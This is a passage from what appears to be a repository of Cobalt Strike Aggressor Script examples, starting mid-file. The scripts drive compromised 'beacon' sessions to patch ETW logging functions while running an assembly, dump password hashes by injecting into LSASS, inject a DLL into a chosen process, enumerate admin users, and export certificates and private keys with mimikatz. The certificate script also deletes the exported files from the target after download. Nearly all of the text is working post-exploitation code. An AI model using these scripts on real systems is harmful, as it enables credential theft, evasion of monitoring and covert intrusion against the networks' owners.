(@lines) { 31 | if ("d:" eq substr($line, 0, 2)) { 32 | $name = substr($line, 2); 33 | bjoblog($1, $jid, "received output:\n" . $name . ", It is nice to meet you\n"); 34 | } 35 | else if ("done" eq $line) { 36 | bjoblog($1, $jid, "received output:\ngoodbye everyone\n"); 37 | } 38 | else { 39 | # Log the output back to beacon console 40 | bjoblog($1, $jid, "received output:\n" . $line . "\n"); 41 | } 42 | } 43 | } 44 | else if ("error" eq %info["type"]) { 45 | bjoberror($bid, $jid, $result); 46 | } 47 | 48 | #println("**** example_ea_cb done"); 49 | } 50 | 51 | beacon_command_register( 52 | "cs_example_ea", 53 | "Run the example_ea execute assembly binary", 54 | 55 | "Run the example_ea execute assembly binary\n\n" . 56 | 57 | "Usage:\n" . 58 | " cs_example_ea [options]\n\n" . 59 | 60 | "Arguments:\n" . 61 | " \$1 - beacon id (CS automatically adds this argument)\n" . 62 | " --args -specify the arguments to the example_ea process as a string\n\n" . 63 | 64 | "Options (specified in any order):\n" . 65 | " --format [yes|no] - do additional formatting of output. Default is yes\n" . 66 | " --patches - specify patch rules to apply\n\n" . 67 | 68 | "Examples:\n" . 69 | " cs_example_ea --args \"Han Luke Leia\"\n" . 70 | " cs_example_ea --args \"Han Luke Leia\" --patches \"PATCHES: ntdll.dll,EtwEventWrite,0,C21400 ntdll.dll,EtwLogTraceEvent,0,C21400\"\n\n", 71 | 72 | "cs_callback_examples" 73 | ); 74 | 75 | alias cs_example_ea { 76 | # Declare local variables 77 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 78 | 79 | # Set the defaults 80 | %opts["--format"] = "yes"; 81 | 82 | # Assign parameters to the opts hash map 83 | $bid = @_[0]; 84 | $opt_cnt = size(@_); 85 | @valid_opts = @("--args", "--patches", "--format"); 86 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 87 | # Set the arg and value for this iteration 88 | $opt = @_[$opt_ind]; 89 | $opt_ind++; 90 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 91 | 92 | # Do some simple validation on opt and value 93 | if ($opt !in @valid_opts) { 94 | berror($bid, "$opt is not a valid option."); 95 | return; 96 | } 97 | if ($value is $null || $value in @valid_opts) { 98 | berror($bid, "Missing or invalid value for the $opt option."); 99 | return; 100 | } 101 | 102 | # Save the opt and value into the opts hash 103 | %opts[$opt] = $value; 104 | } 105 | 106 | # Validate options 107 | if (%opts["--args"] eq "") { 108 | berror($bid, "Required option --args was not specified"); 109 | return; 110 | } 111 | if (%opts["--format"] !in @("yes", "no")) { 112 | berror($bid, "format option is not valid: " . %opts["--format"]); 113 | return; 114 | } 115 | 116 | # Build up the executable name 117 | %opts["--exe"] = script_resource("example_ea.exe", $cs_example_ea_base_dir); 118 | 119 | # Print some info to the script console 120 | $info = "beacon: $bid will execute the " . %opts["--exe"] . 121 | " patches: " . iff(%opts["--patches"] is $null, "\$null", "\'" . %opts["--patches"] . "\'"); 122 | 123 | # Execute the command 124 | if (%opts["--format"] eq "yes") { 125 | println("$info with additional formatting"); 126 | bexecute_assembly($bid, %opts["--exe"], %opts["--args"], %opts["--patches"], &example_ea_cb); 127 | #bexecute_assembly($bid, %opts["--exe"], %opts["--args"], %opts["--patches"], { example_ea_cb($1, $2, $3); }); 128 | } else { 129 | println("$info with no additional formatting"); 130 | bexecute_assembly($bid, %opts["--exe"], %opts["--args"], %opts["--patches"]); 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /hashdump/cs_get_hashes.cna: -------------------------------------------------------------------------------- 1 | 2 | # Format the hashes output just the user and hash. 3 | # 4 | # $1 - beacon id 5 | # $2 - result 6 | # $3 - info - Map containing information about the result 7 | # 8 | sub format_hashes { 9 | # Declare local variables 10 | local('$bid $result %info $pattern $output @lines $line $user $hash $jid'); 11 | 12 | # Assign parameters user friendly names 13 | ($bid, $result, %info) = @_; 14 | $jid = %info['jid']; 15 | #println("**** format_hashes for get_hashes"); 16 | #println("**** arg1 (bid): $bid"); 17 | #println("**** arg2 (result):\n$result"); 18 | #println("**** arg3 (info): " . %info); 19 | 20 | # Skip registered and complete events 21 | if ("job_registered" eq %info["type"] || "job_completed" eq %info["type"]) { 22 | return; 23 | } 24 | 25 | # Find the user and hash information 26 | $pattern = '(.*?):\d+:.*?:(.*?):::'; 27 | $output = ""; 28 | @lines = split('\n', $2); 29 | foreach $line (@lines) { 30 | # println("check line: " . $line); 31 | if ($line ismatch $pattern) { 32 | ($user, $hash) = matched(); 33 | $output = $output . "$[25]user\t$hash\n"; 34 | } else { 35 | $output = $output . $line . "\n"; 36 | } 37 | } 38 | 39 | 40 | # Log the output back to beacon console 41 | bjoblog($1, $jid, "received output:\n" . $output); 42 | 43 | #println("**** format_hashes done"); 44 | } 45 | 46 | 47 | beacon_command_register( 48 | "cs_get_hashes", 49 | "Dump password hashes", 50 | 51 | "Dump password hashes (Warning: Injects into LSASS)\n" . 52 | "This command requires administrator privileges\n" . 53 | "If injecting into a pid that process requires administrator privileges\n" . 54 | 55 | "Usage:\n" . 56 | " cs_get_hashes [options]\n\n" . 57 | 58 | "Arguments:\n" . 59 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 60 | 61 | "Options (specified in any order):\n" . 62 | " --format [yes|no] - do additional formatting of output. Default is yes\n" . 63 | " --pid - pid to inject into or use for fork&run\n" . 64 | " --arch - arch of the pid to inject into use for fork&run\n\n" . 65 | 66 | "Examples (fork and run):\n" . 67 | " cs_get_hashes\n" . 68 | " cs_get_hashes --format no\n\n" . 69 | 70 | "Examples (process injection):\n" . 71 | " cs_get_hashes --pid 1234 --arch x64\n". 72 | " cs_get_hashes --pid 1234 --arch x64 --format no\n\n", 73 | 74 | "cs_callback_examples" 75 | ); 76 | 77 | alias cs_get_hashes { 78 | # Declare local variables 79 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 80 | 81 | # Validate that we are running as administrator 82 | $bid = @_[0]; 83 | if (!-isadmin($bid)) { 84 | berror($bid, "this command requires administrator privileges"); 85 | return; 86 | } 87 | 88 | # Set the defaults 89 | %opts["--format"] = "yes"; 90 | 91 | # Assign parameters to the opts hash map 92 | $opt_cnt = size(@_); 93 | @valid_opts = @("--pid", "--arch", "--format"); 94 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 95 | # Set the arg and value for this iteration 96 | $opt = @_[$opt_ind]; 97 | $opt_ind++; 98 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 99 | 100 | # Do some simple validation on opt and value 101 | if ($opt !in @valid_opts) { 102 | berror($bid, "$opt is not a valid option."); 103 | return; 104 | } 105 | if ($value is $null || $value in @valid_opts) { 106 | berror($bid, "Missing or invalid value for the $opt option."); 107 | return; 108 | } 109 | 110 | # Save the opt and value into the opts hash 111 | %opts[$opt] = $value; 112 | } 113 | 114 | # Validate options 115 | if (%opts["--format"] !in @("yes", "no")) { 116 | berror($bid, "format option is not valid: " . %opts["--format"]); 117 | return; 118 | } 119 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 120 | # At least one process injection options is used, validate them. 121 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 122 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 123 | return; 124 | } 125 | if (%opts["--arch"] !in @("x86", "x64")) { 126 | berror($bid, "arch is not valid, must be x86 or x64."); 127 | return; 128 | } 129 | } 130 | 131 | # Build the info message to use later to info to the script console 132 | $info = "beacon: $bid will execute the hashdump tool"; 133 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 134 | $info .= " using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"; 135 | } else { 136 | $info .= " using fork&run"; 137 | } 138 | 139 | # Execute the command 140 | if (%opts["--format"] eq "yes") { 141 | println("$info and report users and hashes"); 142 | bhashdump($bid, %opts["--pid"], %opts["--arch"], &format_hashes); 143 | # bhashdump($bid, %opts["--pid"], %opts["--arch"], { format_hashes($1, $2, $3); }); 144 | } else { 145 | println("$info and report all the information"); 146 | bhashdump($bid, %opts["--pid"], %opts["--arch"]); 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /dllinject/example_dll/cs_example_dllinject.cna: -------------------------------------------------------------------------------- 1 | # Declare global variables 2 | global('$cs_example_dllinject_base_dir'); 3 | 4 | # Set the base folder for the "cs_example_dllinject" script 5 | $cs_example_dllinject_base_dir = script_resource(""); 6 | 7 | 8 | # Process the result from the example_dllinject.dll and format the output. 9 | # 10 | # Arguments 11 | # $1 - beacon id 12 | # $2 - result 13 | # $3 - info - Map containing information about the result 14 | # 15 | sub example_dllinject_cb { 16 | # Declare local variables 17 | local('$bid $result %info @lines $line $name $jid'); 18 | 19 | # Assign parameters user friendly names 20 | ($bid, $result, %info) = @_; 21 | $jid = %info['jid']; 22 | #println("**** example_dllinject_cb"); 23 | #println("**** arg1 (bid): $bid"); 24 | #println("**** arg2 (result): $result"); 25 | #println("**** arg3 (info): " . %info); 26 | 27 | # Process only output and error events 28 | if ("output" eq %info["type"]) { 29 | # Do what ever processing needed on $result 30 | @lines = split('\n', $result); 31 | foreach $line (@lines) { 32 | #println("**** line: '" . $line . "'"); 33 | if ("d:" eq substr($line, 0, 2)) { 34 | $name = substr($line, 2); 35 | bjoblog($bid, $jid, "received output:\n" . $name . ", It is nice to meet you\n"); 36 | } 37 | else if ("done" eq $line) { 38 | bjoblog($bid, $jid, "received output:\ngoodbye everyone\n"); 39 | } 40 | else { 41 | # Log the output back to beacon console 42 | bjoblog($bid, $jid, "received output:\n" . $line . "\n"); 43 | } 44 | } 45 | } 46 | else if ("error" eq %info["type"]) { 47 | bjoberror($bid, $jid, $result); 48 | } 49 | #println("**** example_dllinject_cb done"); 50 | } 51 | 52 | beacon_command_register( 53 | "cs_example_dllinject", 54 | "Inject the example_dll into a process", 55 | 56 | "Inject the example_dll into a process\n\n" . 57 | 58 | "Usage:\n" . 59 | " cs_example_dllinject [options]\n\n" . 60 | 61 | "Arguments:\n" . 62 | " \$1 - beacon id (CS automatically adds this argument)\n" . 63 | " --pid= - pid to inject into\n" . 64 | " --arch= - arch of the pid to inject into\n\n" . 65 | 66 | "Options (specified in any order):\n" . 67 | " --format [yes|no] - do additional formatting of output. Default is yes\n\n" . 68 | 69 | "Examples:\n" . 70 | " cs_example_dllinject --pid --arch \n" . 71 | " cs_example_dllinject --pid --arch --format no\n\n", 72 | 73 | "cs_callback_examples" 74 | ); 75 | 76 | alias cs_example_dllinject { 77 | # Declare local variables 78 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 79 | 80 | # Set the defaults 81 | %opts["--format"] = "yes"; 82 | 83 | # Assign parameters to the opts hash map 84 | $bid = @_[0]; 85 | $opt_cnt = size(@_); 86 | @valid_opts = @("--pid", "--arch", "--format"); 87 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 88 | # Set the arg and value for this iteration 89 | $opt = @_[$opt_ind]; 90 | $opt_ind++; 91 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 92 | 93 | # Do some simple validation on opt and value 94 | if ($opt !in @valid_opts) { 95 | berror($bid, "$opt is not a valid option."); 96 | return; 97 | } 98 | if ($value is $null || $value in @valid_opts) { 99 | berror($bid, "Missing or invalid value for the $opt option."); 100 | return; 101 | } 102 | 103 | # Save the opt and value into the opts hash 104 | %opts[$opt] = $value; 105 | } 106 | 107 | # Validate options 108 | if ( (%opts["--pid"] is $null) || (%opts["--arch"] is $null) ) { 109 | berror($bid, "One of the required options are not set, must specify the --pid and --arch options."); 110 | return; 111 | } 112 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 113 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 114 | return; 115 | } 116 | if (%opts["--arch"] !in @("x86", "x64")) { 117 | berror($bid, "arch is not valid, must be x86 or x64."); 118 | return; 119 | } 120 | if (%opts["--format"] !in @("yes", "no")) { 121 | berror($bid, "format option is not valid: " . %opts["--format"]); 122 | return; 123 | } 124 | 125 | # Figure out which version of the dll to use 126 | %opts["--dll"] = script_resource("example_dllinject." . %opts["--arch"] . ".dll", $cs_example_dllinject_base_dir); 127 | 128 | # Build the info message 129 | $info = "beacon: $bid will inject into process: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"; 130 | println("$info"); 131 | 132 | # Note: In this example the pipename and arguments are hardcoded in the example_dllinject.c file 133 | # It is possible utilize Aggressor Script to "stomp" information into the DLL but that is 134 | # left as an exercise for the user to implement. You would want to modify the DLL prior 135 | # to executing the command. 136 | 137 | # Execute the command 138 | bdllinject($bid, %opts["--pid"], %opts["--dll"]); 139 | 140 | # Register job to read from pipe 141 | if (%opts["--format"] eq "yes") { 142 | bread_pipe(@($bid), "ANONYMOUS_BYTESTREAM", "CALLBACK_OUTPUT", "test pipe", "\\\\.\\pipe\\mynamedpipe", %opts["--pid"], 15000, &example_dllinject_cb); 143 | } else { 144 | bread_pipe(@($bid), "ANONYMOUS_BYTESTREAM", "CALLBACK_OUTPUT", "test pipe", "\\\\.\\pipe\\mynamedpipe", %opts["--pid"], 15000, $null); 145 | } 146 | } 147 | 148 | -------------------------------------------------------------------------------- /bnet/cs_get_admin_user_info.cna: -------------------------------------------------------------------------------- 1 | 2 | # get_admin_user_info_cb is used to process output from 'net user' 3 | # and request the user information for any 'admin' user found. 4 | # 5 | # Arguments 6 | # Arguments 7 | # $1 - beacon id 8 | # $2 - result - output of the 'net domain' command 9 | # $3 - info - Map containing information about the result 10 | # $4 - opts - Map containing information about the command that was ran 11 | # 12 | sub get_admin_user_info_cb { 13 | # Declare local variables 14 | local('$bid $result %info %opts $user_pattern $error_pattern @lines $line $user'); 15 | 16 | # Assign parameters user friendly names 17 | ($bid, $result, %info, %opts) = @_; 18 | #println("**** get_admin_user_info_cb"); 19 | #println("**** arg1 (bid): $bid"); 20 | #println("**** arg2 (result):\n$result"); 21 | #println("**** arg3 (info): " . %info); 22 | #println("**** arg4 (opts): " . %opts); 23 | 24 | # Check to see if the result is an error 25 | if ("error" eq %info["type"]) { 26 | bjoberror($bid, %info['jid'], "get_admin_user_info: " . $result); 27 | return; 28 | } 29 | 30 | # Skip registered and complete events 31 | if ("job_registered" eq %info["type"] || "job_completed" eq %info["type"]) { 32 | return; 33 | } 34 | 35 | # Look for the admin users only 36 | $user_pattern = '(.*)\s+\(admin\)$'; 37 | 38 | # Look for errors returned by the bnet module 39 | $error_pattern = '^\[-\](.*$)'; 40 | 41 | # Process the result and request information on any admin user found 42 | @lines = split('\n', $result); 43 | foreach $line (@lines) { 44 | # println("check line: $line"); 45 | if ($line ismatch $user_pattern) { 46 | # Request the user information 47 | ($user) = matched(); 48 | 49 | $info = "beacon: $bid will execute \'net user $user\' on \'" . %opts["--target"] . "\'"; 50 | 51 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 52 | println("$info Using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"); 53 | bnet($bid, "user", %opts["--target"], $user, %opts["--pid"], %opts["--arch"]); 54 | } else { 55 | println("$info Using fork&run"); 56 | bnet($bid, "user", %opts["--target"], $user); 57 | } 58 | } 59 | else if ($line ismatch $error_pattern) { 60 | berror($bid, "get_admin_user_info: " . matched()[0]); 61 | } 62 | } 63 | 64 | #println("**** get_admin_user_info_cb done"); 65 | } 66 | 67 | 68 | beacon_command_register( 69 | "cs_get_admin_user_info", 70 | "Request user information for any admin user on the specified target system (default: localhost)", 71 | 72 | "Request user information for any admin user on the specified target system (default: localhost)\n\n". 73 | "Usage:\n" . 74 | " cs_get_admin_user_info [options]\n\n" . 75 | 76 | "Arguments:\n" . 77 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 78 | 79 | "Optional arguments (specified in any order):\n" . 80 | " --target= - where to send the 'net user' command to\n" . 81 | " --pid= - pid to inject into or use for fork&run\n" . 82 | " --arch= - arch of the pid to inject into use for fork&run\n\n" . 83 | 84 | "Examples (fork and run):\n" . 85 | " cs_get_admin_user_info\n" . 86 | " cs_get_admin_user_info --target=sysA\n\n" . 87 | 88 | "Examples (process injection):\n" . 89 | " cs_get_admin_user_info --pid=1234 --arch=x64\n" . 90 | " cs_get_admin_user_info --pid=1234 --arch=x64 --target=sysA\n", 91 | 92 | "cs_callback_examples" 93 | ); 94 | 95 | alias cs_get_admin_user_info { 96 | # Declare local variables 97 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 98 | 99 | # Set the defaults 100 | %opts["--target"] = "localhost"; 101 | 102 | # Assign parameters to the opts hash map 103 | $bid = @_[0]; 104 | $opt_cnt = size(@_); 105 | @valid_opts = @("--target", "--pid", "--arch"); 106 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 107 | # Set the arg and value for this iteration 108 | $opt = @_[$opt_ind]; 109 | $opt_ind++; 110 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 111 | 112 | # Do some simple validation on opt and value 113 | if ($opt !in @valid_opts) { 114 | berror($bid, "$opt is not a valid option."); 115 | return; 116 | } 117 | if ($value is $null || $value in @valid_opts) { 118 | berror($bid, "Missing or invalid value for the $opt option."); 119 | return; 120 | } 121 | 122 | # Save the opt and value into the opts hash 123 | %opts[$opt] = $value; 124 | } 125 | 126 | # Validate options 127 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 128 | # At least one process injection options is used, validate them. 129 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 130 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 131 | return; 132 | } 133 | if (%opts["--arch"] !in @("x86", "x64")) { 134 | berror($bid, "arch is not valid, must be x86 or x64."); 135 | return; 136 | } 137 | } 138 | 139 | # Build the info message 140 | $info = "beacon: $bid will execute \'net user\' \'" . %opts["--target"] . "\'"; 141 | 142 | # Print some info to the script console 143 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 144 | println("$info using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"); 145 | } else { 146 | println("$info using fork&run"); 147 | } 148 | 149 | # Use the lambda function in order to pass local variables via Pass by Name to the callback 150 | bnet($bid, "user", $target, $null, $pid, $arch, 151 | lambda({ get_admin_user_info_cb($1, $2, $3, %opts); }, \%opts)); 152 | } 153 | 154 | -------------------------------------------------------------------------------- /bof/cs_bof_callback_test.cna: -------------------------------------------------------------------------------- 1 | # Declare global variables 2 | global('$cs_bof_callback_base_dir'); 3 | 4 | # Set the base folder for the "cs_bof_callback_test" script 5 | $cs_bof_callback_base_dir = script_resource(""); 6 | 7 | # Process the result from the BOF callback test 8 | # 9 | # Arguments 10 | # $1 - beacon id 11 | # $2 - result - output of the BOF callback test 12 | # $3 - info - Map containing information about the result 13 | # 14 | sub bof_cb { 15 | # Declare local variables 16 | local('$bid $result %info'); 17 | 18 | # Assign parameters user friendly names 19 | ($bid, $result, %info) = @_; 20 | #println("**** bof_cb"); 21 | #println("**** arg1 (bid): $bid"); 22 | #print("**** arg2 (result): $result"); 23 | #println("**** arg3 (info): " . %info); 24 | 25 | # Log the output back to beacon console 26 | if ("error" eq %info["type"]) { 27 | berror($bid, "bof_cb " . $result); 28 | } else { 29 | blog($bid, "received output:\n" . "bof_cb " . $result); 30 | #blog2($bid, "received output:\n" . "bof_cb " . $result); 31 | } 32 | 33 | #println("**** bof_cb done\n"); 34 | } 35 | 36 | 37 | # Execute the BOF tests using beacon_inline_execute aggressor function 38 | # 39 | # Arguments 40 | # $1 - beacon id 41 | # $2 - test case number 42 | # 43 | sub beacon_inline_execute_callback_test { 44 | # Declare local variables 45 | local('$bid $test_num $barch $file $handle $data $args'); 46 | 47 | # Assign parameters user friendly names 48 | ($bid, $test_num) = @_; 49 | 50 | # Figure out the arch of this session 51 | $barch = barch($bid); 52 | 53 | # Read in the right BOF file 54 | $file = script_resource("beacon_inline_execute/bof_callback. $+ $barch $+ .o", $cs_bof_callback_base_dir); 55 | $handle = openf($file); 56 | $data = readb($handle, -1); 57 | closef($handle); 58 | 59 | # Pack our arguments 60 | $args = bof_pack($1, "i", $test_num); 61 | 62 | # Announce what we're doing 63 | btask($1, "Running beacon_inline_execute BOF callback test"); 64 | 65 | 66 | # Print some info to the script console 67 | println("beacon: $bid will execute beacon_inline_execute for test_num: $test_num using BOF: $file"); 68 | 69 | # Execute the command 70 | beacon_inline_execute($bid, $data, "go", $args, &bof_cb); 71 | # beacon_inline_execute($bid, $data, "go", $args, { bof_cb($1, $2, $3); }); 72 | # beacon_inline_execute($bid, $data, "go", $args, { add($3, "foo" => "bar"); bof_cb($1, $2, $3); }); 73 | } 74 | 75 | # Execute the BOF tests using binline_execute aggressor function 76 | # 77 | # Arguments 78 | # $1 - beacon id 79 | # $2 - test case number 80 | # 81 | sub binline_execute_callback_test { 82 | # Declare local variables 83 | local('$bid $test_num $barch $handle $file'); 84 | 85 | # Assign parameters user friendly names 86 | ($bid, $test_num) = @_; 87 | 88 | # Figure out the arch of this session 89 | $barch = barch($bid); 90 | 91 | # get the right BOF file 92 | $file = script_resource("binline_execute/bof_callback. $+ $barch $+ .o", $cs_bof_callback_base_dir); 93 | 94 | # Announce what we're doing 95 | btask($1, "Running binline_execute BOF callback test"); 96 | 97 | # Print some info to the script console 98 | println("beacon: $bid will execute binline_execute for test_num: $test_num using BOF: $file"); 99 | 100 | # Execute the command 101 | binline_execute($bid, $file, $test_num, &bof_cb); 102 | # binline_execute($bid, $file, $test_num, { bof_cb($1, $2, $3); }); 103 | # binline_execute($bid, $file, $test_num, { add($3, "foo" => "bar"); bof_cb($1, $2, $3); }); 104 | } 105 | 106 | 107 | beacon_command_register( 108 | "cs_bof_callback_test", 109 | "Used to test the callback function for the BOF aggressor script functions", 110 | 111 | "Used to test the callback function for the BOF aggressor script functions\n\n" . 112 | 113 | "Usage:\n" . 114 | " cs_bof_callback_test [options]\n\n" . 115 | 116 | "Arguments:\n" . 117 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 118 | 119 | "Options (specified in any order):\n" . 120 | " --use - specify which BOF aggressor script function to use\n" . 121 | " valid functions: beacon_inline_execute, binline_execute\n" . 122 | " --test - specify test case number. valid test number: 1 - 6\n\n" . 123 | 124 | "Examples:\n" . 125 | " cs_bof_callback_test\n" . 126 | " cs_bof_callback_test --use beacon_inline_execute --test 1\n" . 127 | " cs_bof_callback_test --use binline_execute --test 6\n\n", 128 | 129 | "cs_callback_examples" 130 | ); 131 | 132 | alias cs_bof_callback_test { 133 | # Declare local variables 134 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info'); 135 | 136 | # Set the defaults 137 | %opts["--use"] = "beacon_inline_execute"; 138 | %opts["--test"] = 1; 139 | 140 | # Assign parameters to the opts hash map 141 | $bid = @_[0]; 142 | $opt_cnt = size(@_); 143 | @valid_opts = @("--use", "--test"); 144 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 145 | # Set the arg and value for this iteration 146 | $opt = @_[$opt_ind]; 147 | $opt_ind++; 148 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 149 | 150 | # Do some simple validation on opt and value 151 | if ($opt !in @valid_opts) { 152 | berror($bid, "$opt is not a valid option."); 153 | return; 154 | } 155 | if ($value is $null || $value in @valid_opts) { 156 | berror($bid, "Missing or invalid value for the $opt option."); 157 | return; 158 | } 159 | 160 | # Save the opt and value into the opts hash 161 | %opts[$opt] = $value; 162 | } 163 | 164 | # Validate options 165 | if (%opts["--use"] !in @("beacon_inline_execute", "binline_execute")) { 166 | berror($bid, "use method is not valid: " . %opts["--use"]); 167 | return; 168 | } 169 | if (%opts["--test"] < 1 || %opts["--test"] > 6) { 170 | berror($bid, "test number is not valid: " . %opts["--test"]); 171 | return; 172 | } 173 | 174 | if (%opts["--use"] eq "beacon_inline_execute") { 175 | beacon_inline_execute_callback_test($bid, %opts["--test"]); 176 | } else { 177 | binline_execute_callback_test($bid, %opts["--test"]); 178 | } 179 | } 180 | 181 | -------------------------------------------------------------------------------- /mimikatz/export_certificates/cs_export_certificates.cna: -------------------------------------------------------------------------------- 1 | # Declare global variables 2 | global('@remove_file_on_complete $client $dataMgr'); 3 | 4 | # An array to hold a list of (bid, filename) to remove from the 5 | # target system (bid) when the file has been downloaded 6 | @remove_file_on_complete = @(); 7 | 8 | # This callback is fired for any download event 9 | # This will look for bid and filename pairs from the @remove_file_on_complete 10 | # array and validate that the file has been completely downloaded before 11 | # removing the file from the target system. 12 | # 13 | # $1 - A single object of instance type Download 14 | # 15 | sub checkDownload { 16 | # Declare local variables 17 | local('%download $bid $name $size $rcvd $index $value'); 18 | 19 | # Convert to Sleep Scaler Map 20 | %download = [$1 toScalar]; 21 | 22 | # Set items that are of interest 23 | $bid = %download["bid"]; 24 | $name = %download["name"]; 25 | $size = %download["size"]; 26 | $rcvd = %download["rcvd"]; 27 | 28 | # println("look for file: " . $name); 29 | # println("before: " . @remove_file_on_complete); 30 | foreach $index => $value (@remove_file_on_complete) { 31 | if ($bid eq $value[0] && $name eq $value[1] && $size == $rcvd) { 32 | # println("Remove file from target: " . $value[0] . " - " . $name); 33 | brm($value[0], $value[1]); # task beacon to remove file 34 | remove(); # Remove $value from @remove_file_on_complete 35 | break(); 36 | } 37 | } 38 | # println("after: " . @remove_file_on_complete); 39 | } 40 | 41 | # Process the output from the mimikatz crypto::certificates module 42 | # and look for any Public or Private export files. If found then 43 | # task beacon to download them and setup information so once the 44 | # download is complete the files will be removed from the target. 45 | # 46 | # $1 - beacon id 47 | # $2 - result 48 | # $3 - info - Map containing information about the result 49 | # 50 | sub get_certificates { 51 | # Declare local variables 52 | local('$bid $result %info $pattern @lines $line $type $file $jid'); 53 | 54 | # Assign parameters user friendly names 55 | ($bid, $result, %info) = @_; 56 | #println("**** get_certificates for bmimikatz"); 57 | #println("**** arg1 (bid): $1"); 58 | #println("**** arg2 (rest of output):\n$2"); 59 | #println("**** arg3 (info): " . %info); 60 | 61 | # Process only output and error events 62 | if ("output" eq %info["type"]) { 63 | # Log the output back to beacon console 64 | bjoblog($bid, $jid, "received output:\n" . $result); 65 | 66 | # Search for files to download (example) 67 | # Public export : OK - '.der' 68 | # Private export : OK - '.pfx' 69 | $pattern = '\s*(Public|Private) export\s*: OK - \'(.*)\''; 70 | @lines = split('\n', $2); 71 | foreach $line (@lines) { 72 | #println("check line: " . $line); 73 | if ($line ismatch $pattern) { 74 | ($type, $file) = matched(); 75 | add(@remove_file_on_complete, @($bid, $file)); 76 | #println("Added file to remove_file_on_complete: " . @remove_file_on_complete); 77 | #println("Download the file: " . $file); 78 | bdownload($bid, $file); # task beacon to download file 79 | } 80 | } 81 | } 82 | else if ("error" eq %info["type"]) { 83 | bjoberror($bid, $jid, $result); 84 | } 85 | 86 | #println("**** get_certificates done"); 87 | } 88 | 89 | beacon_command_register( 90 | "cs_export_certificates", 91 | "Export certificates using mimikatz crypto::certificates module", 92 | 93 | "Export certificates using mimikatz crypto::certificates module\n" . 94 | "Automatically download them from the target and remove them from\n" . 95 | "the target once the download is completed\n\n" . 96 | 97 | "Usage:\n" . 98 | " cs_export_certificates [options]\n\n" . 99 | 100 | "Arguments:\n" . 101 | " \$1 - beacon id (CS automatically adds this argument)\n\n" . 102 | 103 | "Options (specified in any order):\n" . 104 | " --pid - pid to inject into or use for fork&run\n" . 105 | " --arch - arch of the pid to inject into use for fork&run\n\n" . 106 | 107 | "Examples (fork and run):\n" . 108 | " cs_export_certificates\n\n" . 109 | 110 | "Examples (process injection):\n" . 111 | " cs_export_certificates --pid 1234 --arch x64\n\n", 112 | 113 | "cs_callback_examples" 114 | ); 115 | 116 | alias cs_export_certificates { 117 | # Declare local variables 118 | local('$bid @valid_opts %opts $opt_cnt $opt_ind $opt $value $info $command'); 119 | 120 | # Assign parameters to the opts hash map 121 | $bid = @_[0]; 122 | $opt_cnt = size(@_); 123 | @valid_opts = @("--pid", "--arch"); 124 | for($opt_ind = 1; $opt_ind < $opt_cnt; $opt_ind++) { 125 | # Set the arg and value for this iteration 126 | $opt = @_[$opt_ind]; 127 | $opt_ind++; 128 | $value = iff( $opt_ind >= $opt_cnt, $null, @_[$opt_ind] ); 129 | 130 | # Do some simple validation on opt and value 131 | if ($opt !in @valid_opts) { 132 | berror($bid, "$opt is not a valid option."); 133 | return; 134 | } 135 | if ($value is $null || $value in @valid_opts) { 136 | berror($bid, "Missing or invalid value for the $opt option."); 137 | return; 138 | } 139 | 140 | # Save the opt and value into the opts hash 141 | %opts[$opt] = $value; 142 | } 143 | 144 | # Validate options 145 | if ( (%opts["--pid"] !is $null) || (%opts["--arch"] !is $null) ) { 146 | # At least one process injection options is used, validate them. 147 | if (!-isnumber %opts["--pid"] || %opts["--pid"] < 0) { 148 | berror($bid, "pid is not a valid: " . %opts["--pid"]); 149 | return; 150 | } 151 | if (%opts["--arch"] !in @("x86", "x64")) { 152 | berror($bid, "arch is not valid, must be x86 or x64."); 153 | return; 154 | } 155 | } 156 | 157 | # Build up the mimikatz commands to export the certificates 158 | $command = "crypto::capi ; crypto::certificates /systemstore:local_machine /store:my /export"; 159 | 160 | # Print some info to the script console 161 | $info = "beacon: $bid will execute \'$command\'"; 162 | if (%opts["--pid"] >= 0 && %opts["--arch"] in @("x86", "x64")) { 163 | $info .= " using process injection: \(\'" . %opts["--pid"] . "\' \'" . %opts["--arch"] . "\'\)"; 164 | } else { 165 | $info .= " using fork&run"; 166 | } 167 | println("$info"); 168 | 169 | # Execute the command 170 | bmimikatz($bid, $command, %opts["--pid"], %opts["--arch"], &get_certificates); 171 | 